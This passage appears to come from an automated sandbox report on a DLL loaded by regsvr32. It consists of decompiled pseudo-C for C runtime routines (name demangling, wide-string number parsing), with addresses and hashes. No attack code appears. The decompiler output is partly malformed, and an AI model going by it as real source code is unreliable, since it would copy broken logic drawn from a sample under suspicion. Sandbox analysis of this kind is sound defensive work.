				_v96 = 2;
				_v104 = 0x800c2a30;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp-0x50], xmm0");
				E0000000118001C920(_t90, __edi, 0x800c2a30, __rbx,  &_v120,  &_v104, _t158);
				goto 0x8001e2ab;
				r14d = r14d - 1;
				if (r14d == 0) goto 0x8001e2b1;
				_t108 =  *0x800d9928; // 0x0
				if ( *_t108 == r15b) goto 0x8001e2b1;
				E0000000118001F9F8(0, _t112,  &_v56, _t155, _t158, _t169, _t170, _t172);
				_v104 = _t173;
				_v96 = r15d;
				_t113 = _t108;
				E0000000118001DC30(0x5b, _t108, _t108,  &_v104);
				E0000000118001C858( &_v104,  &_v72, _t108);
				r8b = 0x5d;
				E0000000118001C884( &_v72,  &_v40);
				E0000000118001C9A0(_t88,  &_v120, _t108, _t113);
				if (_v112 - 1 <= 0) goto 0x8001e248;
				if ( *_t155 == _t173) goto 0x8001e318;
				if (( *(_t155 + 8) & 0x00000800) == 0) goto 0x8001e2c8;
				goto 0x8001e302;
				_v104 = _t173;
				_v96 = r15d;
				E0000000118001DC30(0x28, _t108, _t113,  &_v104);
				E0000000118001C858( &_v104,  &_v72, _t155);
				r8b = 0x29;
				E0000000118001C884( &_v72,  &_v40);
				E0000000118001C858(_t108,  &_v56,  &_v120);
				_v120 =  *_t108;
				_v112 =  *((intOrPtr*)(_t108 + 8));
				_t146 =  &_v120;
				E00000001180021658(0x28, __edi, _t108, _t113,  &_v88, _t146, _t155, _t158,  &_v120, _t172, _t173);
				asm("bts ecx, 0xb");
				 *((intOrPtr*)(_t158 + 8)) = _v80;
				 *_t158 = _v88;
				goto 0x8001e3e7;
				if ( *_t146 == _t173) goto 0x8001e3a7;
				_t110 = ")[";
				_v80 = 2;
				_v88 = ")[";
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x30], xmm0");
				_v104 = _t173;
				_v96 = r15d;
				E0000000118001DC30(0x28, ")[", _t113,  &_v104);
				E0000000118001C858( &_v104,  &_v88, _t155);
				E0000000118001C82C( &_v88,  &_v40,  &_v72);
				r8d = 1;
				E0000000118001C8DC(")[",  &_v56);
				goto 0x8001e3d1;
				_v104 = _t173;
				_v96 = r15d;
				E0000000118001DC30(0x5b, _t110, _t113,  &_v104);
				r8d = 1;
				E0000000118001C8DC( &_v104,  &_v40);
				r8b = 0x5d;
				E0000000118001C884(_t110,  &_v56);
				return E0000000118001E500(__edi, _t113, _t158, _t110, _t155, _t158, _t172, _t173);
			}




























                                                                                                        0x18001e1c0
                                                                                                        0x18001e1c0
                                                                                                        0x18001e1c0
                                                                                                        0x18001e1c0
                                                                                                        0x18001e1c5
                                                                                                        0x18001e1ca
                                                                                                        0x18001e1de
                                                                                                        0x18001e1e5
                                                                                                        0x18001e1e8
                                                                                                        0x18001e1eb
                                                                                                        0x18001e1f1
                                                                                                        0x18001e1f7
                                                                                                        0x18001e1fc
                                                                                                        0x18001e1ff
                                                                                                        0x18001e201
                                                                                                        0x18001e207
                                                                                                        0x18001e214
                                                                                                        0x18001e218
                                                                                                        0x18001e21c
                                                                                                        0x18001e21e
                                                                                                        0x18001e22c
                                                                                                        0x18001e234
                                                                                                        0x18001e23c
                                                                                                        0x18001e241
                                                                                                        0x18001e246
                                                                                                        0x18001e24b
                                                                                                        0x18001e250
                                                                                                        0x18001e252
                                                                                                        0x18001e25c
                                                                                                        0x18001e264
                                                                                                        0x18001e26b
                                                                                                        0x18001e273
                                                                                                        0x18001e277
                                                                                                        0x18001e27a
                                                                                                        0x18001e28a
                                                                                                        0x18001e28f
                                                                                                        0x18001e29a
                                                                                                        0x18001e2a6
                                                                                                        0x18001e2af
                                                                                                        0x18001e2b4
                                                                                                        0x18001e2bd
                                                                                                        0x18001e2c6
                                                                                                        0x18001e2ca
                                                                                                        0x18001e2d2
                                                                                                        0x18001e2d6
                                                                                                        0x18001e2e6
                                                                                                        0x18001e2eb
                                                                                                        0x18001e2f6
                                                                                                        0x18001e306
                                                                                                        0x18001e30e
                                                                                                        0x18001e315
                                                                                                        0x18001e318
                                                                                                        0x18001e320
                                                                                                        0x18001e32c
                                                                                                        0x18001e330
                                                                                                        0x18001e333
                                                                                                        0x18001e336
                                                                                                        0x18001e33e
                                                                                                        0x18001e340
                                                                                                        0x18001e347
                                                                                                        0x18001e34e
                                                                                                        0x18001e356
                                                                                                        0x18001e35c
                                                                                                        0x18001e361
                                                                                                        0x18001e365
                                                                                                        0x18001e369
                                                                                                        0x18001e379
                                                                                                        0x18001e38a
                                                                                                        0x18001e38f
                                                                                                        0x18001e39c
                                                                                                        0x18001e3a5
                                                                                                        0x18001e3a9
                                                                                                        0x18001e3b1
                                                                                                        0x18001e3b5
                                                                                                        0x18001e3ba
                                                                                                        0x18001e3c8
                                                                                                        0x18001e3d1
                                                                                                        0x18001e3d7
                                                                                                        0x18001e406

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID:
                                                                                                        • API String ID: 2943138195-0
                                                                                                        • Opcode ID: 7361d524e8d858c523414ad65d240afe866a6528cae91b36fbfebb80571a47f7
                                                                                                        • Instruction ID: 9da21b37b147f359677a781dbc3a0bb5dae3a7bb854394a748d14d125c2bdbcb
                                                                                                        • Opcode Fuzzy Hash: 7361d524e8d858c523414ad65d240afe866a6528cae91b36fbfebb80571a47f7
                                                                                                        • Instruction Fuzzy Hash: 17615E72B10BA998FB42DBA5D8943DC37B5F7497C8F808416EE496BA89DF70C649C340
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002E6E4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 480COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 63%
                                                                                                        			E0000000118002E6E4(intOrPtr* __rax, long long __rbx, long long __rcx, signed long long* __rdx, void* __r8, void* __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				signed long long _v184;
				void* __rsi;
				void* __rbp;
				void* _t156;
				signed int _t186;
				void* _t191;
				signed short _t194;
				signed short _t195;
				signed int _t196;
				signed int _t231;
				signed int _t235;
				intOrPtr _t244;
				signed int _t245;
				signed int _t247;
				signed int _t250;
				void* _t350;
				void* _t351;
				signed short* _t368;
				signed long long _t369;
				signed long long _t370;
				signed long long _t373;
				signed long long _t375;
				signed long long* _t376;
				long long _t382;
				long long* _t385;
				signed short* _t386;
				long long* _t387;
				long long* _t389;
				long long* _t392;
				signed long long* _t393;
				void* _t394;
				void* _t395;
				signed long long _t396;
				signed short* _t404;
				signed short* _t405;
				signed long long _t406;
				void* _t409;
				long long _t410;
				signed long long _t411;
				signed long long _t412;
				intOrPtr _t413;

				_t409 = __r11;
				_t389 = __rdx;
				_t382 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t410 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				_t250 = r9b & 0xffffffff;
				r15d = r8d;
				_v72 = _t410;
				_t393 = __rdx;
				if (_t410 != 0) goto 0x8002e72f;
				E0000000118005B354(_t410, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x8002e761;
				if (r15d == 0) goto 0x8002e779;
				if (__r8 - 2 - 0x22 <= 0) goto 0x8002e779;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__rcx + 0x2c)) = 0x16;
				_v184 = _t412;
				E00000001180025880(__rax, __rbx, __rcx, __rdx, _t394, _t395, __r8);
				_t385 = _t393[1];
				if (_t385 == 0) goto 0x8002edcc;
				 *_t385 =  *_t393;
				goto 0x8002edcc;
				 *_t389 = _t410 + 2;
				_t396 = _t412;
				if ( *((intOrPtr*)(_t385 + 0x28)) != r13b) goto 0x8002e7a3;
				E0000000118002F1E0(_t410 + 2, _t382, _t385, _t389, _t394);
				goto 0x8002e7a3;
				_t366 =  *_t393;
				 *_t393 =  *_t393 + 2;
				if (E0000000118005B600( *_t366 & 0xffff, 8, _t382, _t385) != 0) goto 0x8002e796;
				_t252 =  !=  ? _t250 : _t250 | 0x00000002;
				if ((0x0000fffd & _t382 - 0x0000002b) != 0) goto 0x8002e7da;
				_t368 =  *_t393;
				_t194 =  *_t368 & 0x0000ffff;
				_t369 =  &(_t368[1]);
				 *_t393 = _t369;
				_a16 = 0xa70;
				_v168 = 0xae6;
				_v164 = 0xaf0;
				_v160 = 0xb66;
				r8d = 0x660;
				_v156 = 0xb70;
				_t20 = _t369 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xc66;
				r9d = 0x6f0;
				_v148 = 0xc70;
				r10d = 0x966;
				_v144 = 0xce6;
				_v140 = 0xcf0;
				_v136 = 0xd66;
				_v132 = 0xd70;
				_v128 = 0xe50;
				_v124 = 0xe5a;
				_v120 = 0xed0;
				_v116 = 0xeda;
				_v112 = 0xf20;
				_v108 = 0xf2a;
				_v104 = 0x1040;
				_v100 = 0x104a;
				_v96 = 0x17e0;
				_v92 = 0x17ea;
				_v88 = 0x1810;
				_v84 = 0xff1a;
				_v80 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0x8002eb3f;
				if (_t194 - 0x30 < 0) goto 0x8002eaa2;
				if (_t194 - 0x3a >= 0) goto 0x8002e8f1;
				goto 0x8002ea9d;
				if (_t194 - 0xff10 >= 0) goto 0x8002ea8e;
				if (_t194 - r8w < 0) goto 0x8002eaa2;
				if (_t194 - 0x66a >= 0) goto 0x8002e919;
				goto 0x8002ea9d;
				if (_t194 - r9w < 0) goto 0x8002eaa2;
				if (_t194 - 0x6fa >= 0) goto 0x8002e938;
				goto 0x8002ea9d;
				if (_t194 - r10w < 0) goto 0x8002eaa2;
				if (_t194 - 0x970 >= 0) goto 0x8002e957;
				goto 0x8002ea9d;
				if (_t194 - r11w < 0) goto 0x8002eaa2;
				if (_t194 - 0x9f0 >= 0) goto 0x8002e976;
				goto 0x8002ea9d;
				if (_t194 - (_t194 & 0x0000ffff) - r11d < 0) goto 0x8002eaa2;
				if (_t194 - _a16 >= 0) goto 0x8002e996;
				goto 0x8002ea9d;
				if (_t194 - _v168 < 0) goto 0x8002eaa2;
				if (_t194 - _v164 < 0) goto 0x8002e8e7;
				if (_t194 - _v160 < 0) goto 0x8002eaa2;
				if (_t194 - _v156 < 0) goto 0x8002e8e7;
				if (_t194 - _v152 < 0) goto 0x8002eaa2;
				if (_t194 - _v148 < 0) goto 0x8002e8e7;
				if (_t194 - _v144 < 0) goto 0x8002eaa2;
				if (_t194 - _v140 < 0) goto 0x8002e8e7;
				if (_t194 - _v136 < 0) goto 0x8002eaa2;
				if (_t194 - _v132 < 0) goto 0x8002e8e7;
				if (_t194 - _v128 < 0) goto 0x8002eaa2;
				if (_t194 - _v124 < 0) goto 0x8002e8e7;
				if (_t194 - _v120 < 0) goto 0x8002eaa2;
				if (_t194 - _v116 < 0) goto 0x8002e8e7;
				if (_t194 - _v112 < 0) goto 0x8002eaa2;
				if (_t194 - _v108 < 0) goto 0x8002e8e7;
				if (_t194 - _v104 < 0) goto 0x8002eaa2;
				if (_t194 - _v100 < 0) goto 0x8002e8e7;
				if (_t194 - _v96 < 0) goto 0x8002eaa2;
				if (_t194 - _v92 < 0) goto 0x8002e8e7;
				if ((_t194 & 0x0000ffff) - _v88 - 9 > 0) goto 0x8002eaa2;
				goto 0x8002e8e7;
				if (_t194 - _v84 >= 0) goto 0x8002eaa2;
				if ((_t194 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0x8002eac4;
				_t244 = _v80;
				_t66 = _t385 - 0x41; // 0x6af
				_t67 = _t385 - 0x61; // 0x68f
				_t156 = _t67;
				if (_t66 - _t244 <= 0) goto 0x8002eaba;
				if (_t156 - _t244 > 0) goto 0x8002eb30;
				if (_t156 - _t244 > 0) goto 0x8002eac1;
				_t68 = _t385 - 0x37; // 0x6b9
				if (_t68 != 0) goto 0x8002eb30;
				_t386 =  *_t393;
				r9d = 0xffdf;
				_t245 =  *_t386 & 0x0000ffff;
				_t69 =  &(_t386[1]); // 0xffe1
				_t404 = _t69;
				 *_t393 = _t404;
				_t70 = _t389 - 0x58; // -63
				if ((r9w & _t70) == 0) goto 0x8002eb18;
				 *_t393 = _t386;
				_t160 =  !=  ? r15d : 8;
				r15d =  !=  ? r15d : 8;
				if (_t245 == 0) goto 0x8002eb10;
				if ( *_t386 == _t245) goto 0x8002eb10;
				E0000000118005B354( *_t386 - _t245, _t369);
				 *_t369 = 0x16;
				E0000000118002594C();
				r8d = 0x660;
				goto 0x8002eb3f;
				_t195 =  *_t404 & 0x0000ffff;
				_t73 =  &(_t404[1]); // 0xffe3
				_t370 = _t73;
				 *_t393 = _t370;
				r8d = 0x660;
				goto 0x8002eb35;
				_t165 =  !=  ? r15d : 0xa;
				r15d = 0xa;
				_t406 = r15d;
				_t371 = _t370 | 0xffffffff;
				r11d = 0x61;
				_t75 = ( !=  ? r15d : 0xa) % _t406;
				_t247 = ( !=  ? r15d : 0xa) % _t406;
				_t78 = _t409 - 0x31; // 0x5af
				r12d = _t78;
				r14d = 0xff10;
				if (_t195 - r12w < 0) goto 0x8002ed09;
				if (_t195 - 0x3a >= 0) goto 0x8002eb79;
				goto 0x8002ed04;
				if (_t195 - r14w >= 0) goto 0x8002ecf4;
				if (_t195 - r8w < 0) goto 0x8002ed09;
				if (_t195 - 0x66a >= 0) goto 0x8002eba2;
				goto 0x8002ed04;
				if (_t195 - 0x6f0 < 0) goto 0x8002ed09;
				_t79 = _t371 + 0xa; // 0x6fa
				if (_t195 - _t79 >= 0) goto 0x8002ebc2;
				goto 0x8002ed04;
				if (_t195 - 0x966 < 0) goto 0x8002ed09;
				_t80 = _t371 + 0xa; // 0x970
				if (_t195 - _t80 < 0) goto 0x8002ebb8;
				_t81 =  &(_t386[0x3b]); // 0x9e6
				if (_t195 - _t81 < 0) goto 0x8002ed09;
				_t82 = _t371 + 0xa; // 0x9f0
				if (_t195 - _t82 < 0) goto 0x8002ebb8;
				_t83 =  &(_t386[0x3b]); // 0xa66
				if (_t195 - _t83 < 0) goto 0x8002ed09;
				if (_t195 - _a16 < 0) goto 0x8002ebb8;
				if (_t195 - _v168 < 0) goto 0x8002ed09;
				if (_t195 - _v164 < 0) goto 0x8002ebb8;
				if (_t195 - _v160 < 0) goto 0x8002ed09;
				if (_t195 - _v156 < 0) goto 0x8002ebb8;
				if (_t195 - _v152 < 0) goto 0x8002ed09;
				if (_t195 - _v148 < 0) goto 0x8002ebb8;
				if (_t195 - _v144 < 0) goto 0x8002ed09;
				if (_t195 - _v140 < 0) goto 0x8002ebb8;
				if (_t195 - _v136 < 0) goto 0x8002ed09;
				if (_t195 - _v132 < 0) goto 0x8002ebb8;
				if (_t195 - _v128 < 0) goto 0x8002ed09;
				if (_t195 - _v124 < 0) goto 0x8002ebb8;
				if (_t195 - _v120 < 0) goto 0x8002ed09;
				if (_t195 - _v116 < 0) goto 0x8002ebb8;
				if (_t195 - _v112 < 0) goto 0x8002ed09;
				if (_t195 - _v108 < 0) goto 0x8002ebb8;
				if (_t195 - _v104 < 0) goto 0x8002ed09;
				if (_t195 - _v100 < 0) goto 0x8002ebb8;
				if (_t195 - _v96 < 0) goto 0x8002ed09;
				if (_t195 - _v92 < 0) goto 0x8002ebb8;
				if ((_t195 & 0x0000ffff) - _v88 - 9 > 0) goto 0x8002ed09;
				goto 0x8002ed04;
				if (_t195 - _v84 >= 0) goto 0x8002ed09;
				if ((_t195 & 0x0000ffff) - r14d != 0xffffffff) goto 0x8002ed3d;
				_t231 = _t195 & 0x0000ffff;
				if (_t231 - 0x41 < 0) goto 0x8002ed16;
				if (_t231 - 0x5a <= 0) goto 0x8002ed21;
				if (_t231 - r11d < 0) goto 0x8002ed3a;
				if (_t195 - 0x7a > 0) goto 0x8002ed3a;
				if ((_t195 & 0x0000ffff) - r11w - _v80 > 0) goto 0x8002ed35;
				goto 0x8002ed3d;
				_t405 =  *_t393;
				if ((_t231 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0x8002ed86;
				_t196 =  *_t405 & 0x0000ffff;
				_t373 = _t406 * _t396;
				_t235 = r13d;
				_t390 = _t389 + _t373;
				_t350 = _t389 + _t373 - _t373;
				_t186 = r13d;
				_t351 = _t396 - (_t370 | 0xffffffff);
				r8d = 0x660;
				 *_t393 =  &(_t405[1]);
				_t253 = ( !=  ? _t250 : _t250 | 0x00000002) | (_t235 & 0xffffff00 | _t350 > 0x00000000 | _t186 & 0xffffff00 | _t351 > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0x8002eb5e;
				_t413 = _a8;
				_t375 = _t405 - 2;
				_t411 = _v72;
				 *_t393 = _t375;
				if (_t196 == 0) goto 0x8002edb7;
				if ( *_t375 == _t196) goto 0x8002edb7;
				E0000000118005B354( *_t375 - _t196, _t375);
				 *_t375 = 0x16;
				E0000000118002594C();
				if ((sil & 0x00000008) != 0) goto 0x8002edd0;
				_t376 = _t393[1];
				 *_t393 = _t411;
				if (_t376 == 0) goto 0x8002edcc;
				 *_t376 = _t411;
				goto 0x8002ee4a;
				_t240 = ( !=  ? _t250 : _t250 | 0x00000002) | (_t235 & 0xffffff00 | _t350 > 0x00000000 | _t186 & 0xffffff00 | _t351 > 0x00000000) << 0x00000002 | 0x00000008;
				_t191 = E0000000118002D944(( !=  ? _t250 : _t250 | 0x00000002) | (_t235 & 0xffffff00 | _t350 > 0x00000000 | _t186 & 0xffffff00 | _t351 > 0x00000000) << 0x00000002 | 0x00000008, _t390);
				if (_t191 == 0) goto 0x8002ee2f;
				 *((char*)(_t413 + 0x30)) = 1;
				 *((intOrPtr*)(_t413 + 0x2c)) = 0x22;
				if ((sil & 0x00000001) != 0) goto 0x8002edf7;
				goto 0x8002ee38;
				_t387 = _t393[1];
				if ((sil & 0x00000002) == 0) goto 0x8002ee18;
				if (_t387 == 0) goto 0x8002ee0c;
				 *_t387 =  *_t393;
				goto 0x8002ee4a;
				if (_t387 == 0) goto 0x8002ee23;
				 *_t387 =  *_t393;
				goto 0x8002ee4a;
				if ((sil & 0x00000002) == 0) goto 0x8002ee38;
				_t392 = _t393[1];
				if (_t392 == 0) goto 0x8002ee47;
				 *_t392 =  *_t393;
				return _t191;
			}





































































                                                                                                        0x18002e6e4
                                                                                                        0x18002e6e4
                                                                                                        0x18002e6e4
                                                                                                        0x18002e6e4
                                                                                                        0x18002e6e9
                                                                                                        0x18002e700
                                                                                                        0x18002e703
                                                                                                        0x18002e706
                                                                                                        0x18002e70a
                                                                                                        0x18002e70d
                                                                                                        0x18002e715
                                                                                                        0x18002e71b
                                                                                                        0x18002e71d
                                                                                                        0x18002e722
                                                                                                        0x18002e728
                                                                                                        0x18002e72d
                                                                                                        0x18002e732
                                                                                                        0x18002e73b
                                                                                                        0x18002e73d
                                                                                                        0x18002e742
                                                                                                        0x18002e745
                                                                                                        0x18002e749
                                                                                                        0x18002e74c
                                                                                                        0x18002e757
                                                                                                        0x18002e75c
                                                                                                        0x18002e761
                                                                                                        0x18002e768
                                                                                                        0x18002e771
                                                                                                        0x18002e774
                                                                                                        0x18002e783
                                                                                                        0x18002e786
                                                                                                        0x18002e78d
                                                                                                        0x18002e78f
                                                                                                        0x18002e794
                                                                                                        0x18002e796
                                                                                                        0x18002e7a0
                                                                                                        0x18002e7b2
                                                                                                        0x18002e7c2
                                                                                                        0x18002e7cb
                                                                                                        0x18002e7cd
                                                                                                        0x18002e7d0
                                                                                                        0x18002e7d3
                                                                                                        0x18002e7d7
                                                                                                        0x18002e7da
                                                                                                        0x18002e7ea
                                                                                                        0x18002e7f7
                                                                                                        0x18002e804
                                                                                                        0x18002e80c
                                                                                                        0x18002e812
                                                                                                        0x18002e81a
                                                                                                        0x18002e81a
                                                                                                        0x18002e81e
                                                                                                        0x18002e826
                                                                                                        0x18002e82c
                                                                                                        0x18002e834
                                                                                                        0x18002e83a
                                                                                                        0x18002e842
                                                                                                        0x18002e84a
                                                                                                        0x18002e852
                                                                                                        0x18002e85a
                                                                                                        0x18002e862
                                                                                                        0x18002e86a
                                                                                                        0x18002e872
                                                                                                        0x18002e87a
                                                                                                        0x18002e882
                                                                                                        0x18002e88a
                                                                                                        0x18002e892
                                                                                                        0x18002e89a
                                                                                                        0x18002e8a2
                                                                                                        0x18002e8aa
                                                                                                        0x18002e8b5
                                                                                                        0x18002e8c0
                                                                                                        0x18002e8d2
                                                                                                        0x18002e8db
                                                                                                        0x18002e8e5
                                                                                                        0x18002e8ec
                                                                                                        0x18002e8f4
                                                                                                        0x18002e8fe
                                                                                                        0x18002e90c
                                                                                                        0x18002e914
                                                                                                        0x18002e91d
                                                                                                        0x18002e92b
                                                                                                        0x18002e933
                                                                                                        0x18002e93c
                                                                                                        0x18002e94a
                                                                                                        0x18002e952
                                                                                                        0x18002e95b
                                                                                                        0x18002e969
                                                                                                        0x18002e971
                                                                                                        0x18002e979
                                                                                                        0x18002e987
                                                                                                        0x18002e991
                                                                                                        0x18002e99d
                                                                                                        0x18002e9a8
                                                                                                        0x18002e9b5
                                                                                                        0x18002e9c0
                                                                                                        0x18002e9cd
                                                                                                        0x18002e9d8
                                                                                                        0x18002e9e5
                                                                                                        0x18002e9f0
                                                                                                        0x18002e9fd
                                                                                                        0x18002ea08
                                                                                                        0x18002ea15
                                                                                                        0x18002ea20
                                                                                                        0x18002ea2d
                                                                                                        0x18002ea34
                                                                                                        0x18002ea41
                                                                                                        0x18002ea48
                                                                                                        0x18002ea55
                                                                                                        0x18002ea5c
                                                                                                        0x18002ea69
                                                                                                        0x18002ea70
                                                                                                        0x18002ea87
                                                                                                        0x18002ea89
                                                                                                        0x18002ea96
                                                                                                        0x18002eaa0
                                                                                                        0x18002eaa2
                                                                                                        0x18002eaac
                                                                                                        0x18002eab1
                                                                                                        0x18002eab1
                                                                                                        0x18002eab4
                                                                                                        0x18002eab8
                                                                                                        0x18002eabc
                                                                                                        0x18002eac1
                                                                                                        0x18002eac6
                                                                                                        0x18002eac8
                                                                                                        0x18002eacb
                                                                                                        0x18002ead1
                                                                                                        0x18002ead4
                                                                                                        0x18002ead4
                                                                                                        0x18002ead8
                                                                                                        0x18002eadb
                                                                                                        0x18002eae2
                                                                                                        0x18002eae7
                                                                                                        0x18002eaef
                                                                                                        0x18002eaf3
                                                                                                        0x18002eaf9
                                                                                                        0x18002eafe
                                                                                                        0x18002eb00
                                                                                                        0x18002eb05
                                                                                                        0x18002eb0b
                                                                                                        0x18002eb10
                                                                                                        0x18002eb16
                                                                                                        0x18002eb18
                                                                                                        0x18002eb1c
                                                                                                        0x18002eb1c
                                                                                                        0x18002eb20
                                                                                                        0x18002eb23
                                                                                                        0x18002eb2e
                                                                                                        0x18002eb38
                                                                                                        0x18002eb3c
                                                                                                        0x18002eb3f
                                                                                                        0x18002eb44
                                                                                                        0x18002eb48
                                                                                                        0x18002eb4e
                                                                                                        0x18002eb4e
                                                                                                        0x18002eb51
                                                                                                        0x18002eb51
                                                                                                        0x18002eb55
                                                                                                        0x18002eb62
                                                                                                        0x18002eb6c
                                                                                                        0x18002eb74
                                                                                                        0x18002eb7d
                                                                                                        0x18002eb87
                                                                                                        0x18002eb95
                                                                                                        0x18002eb9d
                                                                                                        0x18002ebaa
                                                                                                        0x18002ebb0
                                                                                                        0x18002ebb6
                                                                                                        0x18002ebbd
                                                                                                        0x18002ebca
                                                                                                        0x18002ebd0
                                                                                                        0x18002ebd6
                                                                                                        0x18002ebd8
                                                                                                        0x18002ebde
                                                                                                        0x18002ebe4
                                                                                                        0x18002ebea
                                                                                                        0x18002ebec
                                                                                                        0x18002ebf2
                                                                                                        0x18002ec00
                                                                                                        0x18002ec09
                                                                                                        0x18002ec14
                                                                                                        0x18002ec1d
                                                                                                        0x18002ec28
                                                                                                        0x18002ec31
                                                                                                        0x18002ec3c
                                                                                                        0x18002ec49
                                                                                                        0x18002ec54
                                                                                                        0x18002ec61
                                                                                                        0x18002ec6c
                                                                                                        0x18002ec79
                                                                                                        0x18002ec84
                                                                                                        0x18002ec91
                                                                                                        0x18002ec98
                                                                                                        0x18002eca5
                                                                                                        0x18002ecac
                                                                                                        0x18002ecb9
                                                                                                        0x18002ecc0
                                                                                                        0x18002eccd
                                                                                                        0x18002ecd4
                                                                                                        0x18002eceb
                                                                                                        0x18002ecf2
                                                                                                        0x18002ecfc
                                                                                                        0x18002ed07
                                                                                                        0x18002ed09
                                                                                                        0x18002ed0f
                                                                                                        0x18002ed14
                                                                                                        0x18002ed19
                                                                                                        0x18002ed1f
                                                                                                        0x18002ed30
                                                                                                        0x18002ed38
                                                                                                        0x18002ed3d
                                                                                                        0x18002ed43
                                                                                                        0x18002ed45
                                                                                                        0x18002ed4c
                                                                                                        0x18002ed52
                                                                                                        0x18002ed55
                                                                                                        0x18002ed58
                                                                                                        0x18002ed5b
                                                                                                        0x18002ed61
                                                                                                        0x18002ed73
                                                                                                        0x18002ed7c
                                                                                                        0x18002ed7f
                                                                                                        0x18002ed81
                                                                                                        0x18002ed86
                                                                                                        0x18002ed8e
                                                                                                        0x18002ed92
                                                                                                        0x18002ed9a
                                                                                                        0x18002eda0
                                                                                                        0x18002eda5
                                                                                                        0x18002eda7
                                                                                                        0x18002edac
                                                                                                        0x18002edb2
                                                                                                        0x18002edbb
                                                                                                        0x18002edbd
                                                                                                        0x18002edc1
                                                                                                        0x18002edc7
                                                                                                        0x18002edc9
                                                                                                        0x18002edce
                                                                                                        0x18002edd3
                                                                                                        0x18002edd5
                                                                                                        0x18002eddc
                                                                                                        0x18002edde
                                                                                                        0x18002ede3
                                                                                                        0x18002edef
                                                                                                        0x18002edf5
                                                                                                        0x18002edf7
                                                                                                        0x18002edff
                                                                                                        0x18002ee04
                                                                                                        0x18002ee09
                                                                                                        0x18002ee16
                                                                                                        0x18002ee1b
                                                                                                        0x18002ee20
                                                                                                        0x18002ee2d
                                                                                                        0x18002ee33
                                                                                                        0x18002ee38
                                                                                                        0x18002ee3f
                                                                                                        0x18002ee44
                                                                                                        0x18002ee64

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID: -$:$f$p$p
                                                                                                        • API String ID: 3215553584-2013873522
                                                                                                        • Opcode ID: d218ea4bf7d06533e6201c6ef976bf627aae245884f0076214b06fc565c0417d
                                                                                                        • Instruction ID: 023ce12b42bf15d7af0325692ac03295f537889a335a4f87e48de523e1a3e708
                                                                                                        • Opcode Fuzzy Hash: d218ea4bf7d06533e6201c6ef976bf627aae245884f0076214b06fc565c0417d
                                                                                                        • Instruction Fuzzy Hash: 9E12D3326442C986FBA3AA15D0543EA77A1F38A7D4FD8C116F69E076C4DF38D688CB11
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003609C Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 65%
                                                                                                        			E0000000118003609C(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, long long __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
